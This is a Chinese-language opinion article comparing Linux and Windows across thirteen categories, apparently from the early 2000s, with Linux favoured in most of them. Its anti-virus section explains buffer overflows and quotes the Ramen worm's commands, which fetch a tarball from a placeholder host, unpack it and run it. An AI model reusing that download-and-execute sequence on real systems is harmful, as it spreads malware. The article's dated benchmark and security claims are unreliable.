Linux與Windows在十三方面進(jìn)行大對決
Linux是一套免費使用和自由傳播的類(lèi)UNIX操作系統,主要用于基于Intel x86系列CPU的計算機上。Linux系統是由全世界各地的成千上萬(wàn)的程序員設計和實(shí)現的,其目的是建立不受任何商品化軟件的版權所制約的、全世界都能自由使用的UNIX兼容產(chǎn)品。Windows同樣主要用于基于Intel x86系列CPU的計算機上。本文將它們作一個(gè)比較?!?
(一) 編程篇
一般人們習慣于認為L(cháng)inus是Linux的締造者,在Linux包含的數以千計的文件中,也有一個(gè)名為Credits的文件記錄了主要的Linux Hacker們的姓名和電子郵件地址(這個(gè)列表中包含了100多個(gè)名字,世界各地的都有),但沒(méi)有人說(shuō)得清究竟有多少人參與了Linux的改進(jìn)。這一游戲到今天并沒(méi)有隨著(zhù)時(shí)間的推移而停止,相反卻因為L(cháng)inux的日益流行而愛(ài)好者甚眾。因此開(kāi)始使用Linux就猶如加入了一個(gè)高手如云的編程組織。你可以通過(guò)互聯(lián)網(wǎng)隨時(shí)了解來(lái)自地球的某一個(gè)角落的該領(lǐng)域的最新進(jìn)展;如果你的英文足夠好,加入一個(gè)討論組,你就可以得到不知來(lái)自什么地方的神密高手的點(diǎn)撥。由于GPL的存在,你還可以得到開(kāi)放的源代碼,從而不用發(fā)愁學(xué)習資料的來(lái)源。隨著(zhù)更多專(zhuān)業(yè)公司的介入,Linux可以提供的開(kāi)發(fā)工具的功能也越發(fā)強大。如TurboLinux就具有強大的應用程序開(kāi)發(fā)環(huán)境,提供了各種開(kāi)發(fā)應用程序的工具,具有對多種語(yǔ)言如:C、C++、Java、Perl、Tcl/tk、Python和Fortran 77的編譯器/解釋器,以及集成開(kāi)發(fā)環(huán)境、調試和其他開(kāi)發(fā)工具。再如Janus Software公司開(kāi)發(fā)的被稱(chēng)為L(cháng)inux版VB的Phoenix Object Basic,它是一套獨特的面向對象的Linux RAD(Rapid Application Development,快速應用軟件開(kāi)發(fā)工具)。它綜合了Python 和Perl等面向對象編程語(yǔ)言的強大功能,同時(shí),提供了類(lèi)似 Visual Basic 的易用性。熟悉Windows環(huán)境下Visual Basic的編程者都可以順利地使用Phoenix Object Basic。LynuxWorks 公司的VisualLynux可以和微軟的Visual C++相媲美,它集成了微軟Visual C++開(kāi)發(fā)工具以支持Linux操作系統的產(chǎn)品,它不但兼容LynuxWorks公司的 BlueCat Linux,而且還兼容其他的Linux 2.2.12版本。LynuxWorks 公司甚至聲稱(chēng)從此Visual C++ 就具備了開(kāi)發(fā)嵌入式 Linux 應用程序的能力。嵌入式 Linux 系統現在相當熱門(mén),已經(jīng)廣泛地應用在各式各樣的通信基礎產(chǎn)品。Linux可以完成任何Windows下的編程任務(wù)。這一篇,LINUX占了上風(fēng)。
(二) 運行平臺篇
在這個(gè)IT技術(shù)日新月異的年代,盡管每個(gè)IT廠(chǎng)商都嚷著(zhù)他們的產(chǎn)品可以有效地降低我們的TCO(總擁有成本),可我們手里設備的折舊速度還是在不斷加快。如果你肯聽(tīng)我的,我會(huì )說(shuō)這世上從來(lái)就沒(méi)有救世主,還是試試我推薦的Linux吧?!?
Linux非常小,可以有效地利用硬件。Linux的最小安裝僅需要4MB內存,而你也可以在你的486機器上安裝Linux并將其用做防火墻或Web服務(wù)器。我記得的Linux論壇有人用二手386建立了路由器和防火墻。Linux內核允許在運行時(shí)裝載和卸載硬件的驅動(dòng)程序。這樣因為不必裝載全部的驅動(dòng)程序,就可以最大化地使用內存??傊甃inux可以使老機器獲得新生,節省我們的財力。而Windows2000 SERVER在P166+64M下運行如同像蝸牛一樣慢,有時(shí)會(huì )逼瘋你?!∵@一篇,LINUX占了上風(fēng)?!?
(三) 硬件支持篇
由于開(kāi)放源代碼的特點(diǎn)LINUX得到AMD和INTEL公司的關(guān)注。因為這兩家公司都希望在64位芯片時(shí)代能夠和開(kāi)放源代碼的操作系統系統緊密聯(lián)系LINUX的發(fā)展速度急快,從它的內核就可以看出。LINUX比其他操作系統更能適應芯片技術(shù)發(fā)展。在2001年的LINUX大會(huì )上,IBM帶來(lái)為L(cháng)INUX制作的電子商務(wù)套間WEBSHERE COMMERCE 5.1,HP帶來(lái)為L(cháng)INUX制作的電子商務(wù)套間HP SECURE OS SOFTWARE FOR Linux?,F在LINUX可以廣泛運行在64位芯片構架中,包括Compaq Alpha, SGI MIPS,Sun UltraSparc。而WINDOWS落后一步?!∽钚碌腖inux內核——2。.52版中最引人注意的改進(jìn)就是Iinux內核開(kāi)始支持最新的usB技術(shù)。usB 2.0可以確保數據傳輸速度達到480Mb/s,這個(gè)速度是usBl.1最高傳輸速度的40倍。usB 2.0模塊一般沒(méi)有內置在計算機系統當中?,F在更為流行的是使用Firewire標準來(lái)實(shí)現高速連接功能,比如連接視頻頭、硬盤(pán)等等。微軟已經(jīng)編寫(xiě)了支持usB 2.0“的代碼,但是在最新的操作系統windows xP中卻不支持USB 2.0?!∵@一篇,LINUX占了上風(fēng)。
(四) 網(wǎng)絡(luò )篇
Linux的組網(wǎng)能力非常強大,它的TCP/IP代碼是最高級的。Linux提供了對于當前的TCP/IP協(xié)議的完全支持,并且包括了對下一代Internet。協(xié)議Ipv6的支持。Linux內核還包括了IP防火墻代碼、IP防偽、IP服務(wù)質(zhì)量控制及許多安全特性。這些特性可以和像Cisco這樣的公司提供的高端路由設備的特性相媲美。此外,利用Redhat Linux 提供的Samba 組(并不是RedHat Linux獨有),Linux 可以作為Windows 客戶(hù)機的打印和文件服務(wù)器,還可以用做NT的文件和打印服務(wù)器。運用Linux包含的AppleTalk模塊,Linux甚至可以作為一個(gè)Macintosh客戶(hù)機的文件和打印服務(wù)器。讓Apache 這個(gè)世界上應用范圍最廣的Web服務(wù)器軟件系統跑在Linux上,你就可以運行自己的Intranet或者Internet web服務(wù)器。Linux還包含了一個(gè)Ftp 服務(wù)程序、一個(gè)電子郵件傳輸代理程序以及,POP和IMAP郵件服務(wù)程序。如果你愿意,你還可以在Internet上免費獲得一個(gè)Linux的LDAP服務(wù)程序。性能超群穩定的APACHE服務(wù)器也是許多網(wǎng)絡(luò )管理員選擇LINUX的原因如果我們沒(méi)有機會(huì )選擇UNIX,LINUX是個(gè)好選擇,微軟的IIS是無(wú)法與之匹敵?!∵@一篇,LINUX占了上風(fēng)。
(五) 設備驅動(dòng)篇
早期的LINUX對硬件設備的支持不好,大家拒絕使用的一個(gè)重要方面是驅動(dòng)程序不好找。不過(guò)隨著(zhù)內核升級到2.4各個(gè)主要LINUX軟件提供商的產(chǎn)品已經(jīng)可以識別象刻錄機,掃描儀等新設備。不過(guò)和微軟件安裝驅動(dòng),LINUX占了下風(fēng) 。
(六) UNIX能力篇
Linux為廣大用戶(hù)提供了一個(gè)在家里學(xué)習和使用Unix操作系統的機會(huì )。盡管Linux是由計算機愛(ài)好者們開(kāi)發(fā)的,但是它在很多方面上是相當穩定的,從而為用戶(hù)學(xué)習和使用目前世界上最流行的Unix操作系統提供了廉價(jià)的機會(huì )?,F在有許多CD-ROM供應商和軟件公司(如RedHat和TurboLinux)支持Linux操作系統。Linux成為Unix系統在個(gè)人計算機上的一個(gè)代用品,并能用于替代那些較為昂貴的系統。因此,如果一個(gè)用戶(hù)在公司上班的時(shí)候在Unix系統上編程,或者在工作中是一位Unix的系統管理員,他就可以在家里安裝一套Unix的兼容系統,即Linux系統,在家中使用Linux就能夠完成一些工作任務(wù)?!?
這一篇,LINUX占了上風(fēng) 。
(七)性能篇
Linux操作系統在短短的幾年之內得到了非常迅猛的發(fā)展,這與Linux具有的良好特性是分不開(kāi)的。Linux包含了Unix的全部功能和特性。簡(jiǎn)單的說(shuō),Linux具有以下主要特性:
1、開(kāi)放性
開(kāi)放性是指系統遵循世界標準規范,特別是遵循開(kāi)放系統互連(OSI)國際標準。凡遵循國際標準所開(kāi)發(fā)的硬件和軟件,都能彼此兼容,可方便地實(shí)現互連?!?
2、多用戶(hù)
多用戶(hù)是指系統資源可以被不同用戶(hù)各自擁有使用,即每個(gè)用戶(hù)對自己的資源(例如:文件、設備)有特定的權限,互不影響。Linux和Unix都具有多用戶(hù)的特性?!?
3、多任務(wù)
多任務(wù)是現代計算機的最主要的一個(gè)特點(diǎn)。它是指計算機同時(shí)執行多個(gè)程序,而且各個(gè)程序的運行互相獨立。Linux系統調度每一個(gè)進(jìn)程平等地訪(fǎng)問(wèn)微處理器。由于CPU的處理速度非???,其結果是,啟動(dòng)的應用程序看起來(lái)好像在并行運行。事實(shí)上,從處理器執行一個(gè)應用程序中的一組指令到Linux調度微處理器再次運行這個(gè)程序之間只有很短的時(shí)間延遲,用戶(hù)是感覺(jué)不出來(lái)的?!?
經(jīng)過(guò)對最重量級的數據庫ORACLE 8.1.6測試,在LINUX下的運行速度比在WIN2000 SERVER要快35%。這一篇,LINUX占了上風(fēng)。
(八)創(chuàng )新篇
Linux是自由軟件,而自由軟件和非自由軟的區別在于:
1. 自由軟件是開(kāi)放的,成千上萬(wàn)的人可以檢查這個(gè)軟件,快速地找到并修改其錯誤碼?!?
2. 最終用戶(hù)可以按照自己的意愿自定義自由軟件,有特殊需要的用戶(hù)也可以完全按照他們認為合適的方式定制自己的Linux?!?
3. 自由軟件為了防止重復發(fā)明,通過(guò)共享源代碼和思想來(lái)節省很多工作量?!?
以上這些特性是不是對有想法的好事者有莫大的吸引力?不僅如此,Linux由于自身的優(yōu)點(diǎn),應用領(lǐng)域也越來(lái)越廣泛。如最近嵌入式Linux的應用相當熱門(mén),已廣泛應用于包括筆記本電腦、連網(wǎng)裝置、網(wǎng)絡(luò )電視等在內的各式各樣的通信基礎產(chǎn)品,而嵌入式操作系統正日益成為一種勢不可擋的流行趨勢,最終電腦、通訊、家電會(huì )因為它的存在而成為一體。這些也為有想法的好事者提供了更廣闊的發(fā)揮空間。在夢(mèng)想就是力量的今天,沒(méi)有了創(chuàng )新能力是不可想象的?!∪绻憧偸鞘褂梦④浀拈_(kāi)發(fā)工具,你一生只能做個(gè)操作人員?!?。這一篇,LINUX占了上風(fēng)
(九)防病毒篇
1998年的CIH病毒讓全世界人民為之膽怯,隨之而來(lái)的基于OUTLOOK傳播美莉莎,歡樂(lè )時(shí)光等病毒更是是IT行業(yè)以及相關(guān)領(lǐng)域損失慘重。。而LINUX方面關(guān)于世界上第一個(gè)Linux病毒——reman已經(jīng)出現的說(shuō)法,我們得到該病毒的有關(guān)資料和樣本之后發(fā)現,嚴格地說(shuō),reman并不能被稱(chēng)為病毒。實(shí)際上這是一個(gè)古老的,在NIX/Linux世界早已存在的“緩沖區溢出”攻擊程序。幾乎所有UNIX/Linux版本中都或多或少地存在這樣的問(wèn)題。第一次此種類(lèi)型的攻擊(morris worm),到現在已經(jīng)十多年了,并不是等到現在才“出現”的。事實(shí)上針對windows 98/NT的緩沖區溢出攻擊也是很常見(jiàn)的?!?
緩沖區溢出的原理是:向一個(gè)有限空間的緩沖區拷貝了過(guò)長(cháng)的字符串,覆蓋相鄰的存儲單元,會(huì )引起程序運行失敗。因為自動(dòng)變量保存在堆棧當中,當發(fā)生緩沖區溢出的時(shí)候,存儲在堆棧中的函數反回地址也會(huì )被覆蓋從而無(wú)法從發(fā)生溢出的函數正常返回(返回地址往往是一個(gè)無(wú)效的地址),在這樣的情況下系統一般報告:“core dump”或“segment fault”。嚴重的是:如果覆蓋緩沖區的是一段精心設計的機器指令序列,它可能通過(guò)溢出,改變返回地址,將其指向自己的指令序列,從而改變該程序的正常流程。這段精心設計的指令一般的目的是:“/bin/sh”,所以這段代碼被稱(chēng)為:“shell code”。通過(guò)這樣的溢出可以得到一個(gè)shell,僅此而已。但是,如果被溢出是一個(gè)suid root程序,得到的將是一個(gè)root shell。這樣機器的控制權已經(jīng)易手,此后發(fā)生的任何事情都是合理的?!?
下面我們回到reman。它首先對網(wǎng)絡(luò )上的主機進(jìn)行掃描,通過(guò)兩個(gè)普通的漏洞進(jìn)入系統,獲取root權限,然后從源主機復制自身,以繼續掃描網(wǎng)上其他服務(wù)器。對于Red Hat 6.2來(lái)講,如果攻擊成功,它會(huì )做以下工作:
mkdir /usr/src/.poop;cd /usr/src/.poop
export TERM=vt100
lynx -source http://FROMADDR:27374 > /usr/src/.poop/rame.tgz
cp ramen.tgz /tmp
gzip -d ramen.tgz;tar -xvf ramen.tar;./start.sh
echo Eat Your Ramen! mail -s TOADDR -c
很明顯,reman只是一個(gè)自動(dòng)化了的緩沖區溢出程序,而且是很普通的一種。目前緩沖區溢出攻擊是非常普遍的一種攻擊,黑客網(wǎng)站對各類(lèi)系統的漏洞的發(fā)布幾乎每日更新。但是這種攻擊方式并不是不可避免,目前已有很多對付該類(lèi)攻擊的方案。這一篇,LINUX占了上風(fēng)。
(十)穩定能力篇
運行Linux的機器啟動(dòng)一次可以運行數月。Linux提供了完全的內存保護,每個(gè)進(jìn)程都運行在自己的虛擬地址空間中,并且不會(huì )損壞其他進(jìn)程或內核使用的地址空間。任務(wù)與內核間也是相互隔離,即行為不良或編寫(xiě)不良的程序只能毀壞自己。因此被破壞的進(jìn)程幾乎不可能使系統崩潰。Linux在和Windows98和NT在安全性的較量中占有上風(fēng),和Windows2000的情況又怎么樣呢?資深的系統安全分析家指出:Windows 2000在網(wǎng)絡(luò )系統,服務(wù)器連接方面的工作準備不足,Linux仍然是目前最安全的操作系統。資深的系統安全分析家還預計到今年年底Windows 2000才能完成測試、除蟲(chóng)工作,而微軟的WONDOWS XP推出不久,筆者不敢多家評論。目前比較安全的操作系統仍然是商業(yè)版本的UNIX和Linux。資深的系統安全分析家肯定地認為:在未來(lái)的5年里,Linux將成為最安全的操作系統。到2005年,管理和使用Linux將是一件十分容易的事情。LINUX在本篇占了上風(fēng)?!?
(十一)購買(mǎi)能力篇
這是一個(gè)不容回避的問(wèn)題。因為價(jià)格原因,每個(gè)人都可以擁有正版的Linux。此外除了技術(shù)上的原因,它更大的意義是代表了一種開(kāi)放性的軟件開(kāi)發(fā)及開(kāi)放模式,并徹底打破了越優(yōu)秀的軟件價(jià)格越高這一傳統定式Linux還是一個(gè)完全開(kāi)放的系統。它支持各種像POSIX標準這樣的開(kāi)放標準和TCP/IP的Internet工程任務(wù)組標準。由于避免了專(zhuān)有的API(應用程序接口)和協(xié)議,可以減少對單一供應商的依賴(lài)。這樣就不會(huì )出現像使用專(zhuān)用系統的情況:一旦犯了錯誤,只能繼續使用原來(lái)的系統供用商的產(chǎn)品。也就是不會(huì )出現先享受低價(jià),而在后期需要付出高額服務(wù)費的情況。本篇中LINUX占了上風(fēng)?!?
(十二)安裝難易篇
早期的LINUX安裝復雜對于新手更要冒丟失數據的風(fēng)險。不過(guò)隨著(zhù)內核升級到2.4后各個(gè)主要LINUX軟件提供商的產(chǎn)品安裝已經(jīng)變得簡(jiǎn)單。不過(guò)和微軟件安裝相比,Linux占了下風(fēng)
(十三)總結篇
開(kāi)放源代碼是大勢所趨,Linux前途廣闊,但道路是艱苦卓絕。微軟在IT業(yè)不景氣的情況下,仍然保持著(zhù)兩位數增長(cháng)。而一些LINUX廠(chǎng)商(如VI LINUX)出現大幅虧損。。還有一個(gè)問(wèn)題現在一些LINUX廠(chǎng)商熱衷于把Linux的XWINDOWS做的很好媒體也大加宣傳,Linux的優(yōu)勢在于網(wǎng)絡(luò ),嵌入式信息家電.和微軟拼桌面是不明智的。微軟是一個(gè)整體,Linux廠(chǎng)商要防止被各個(gè)擊破。我喜歡Linux但我也不想看到微軟倒下,只有競爭才能是消費者得到好處。
評論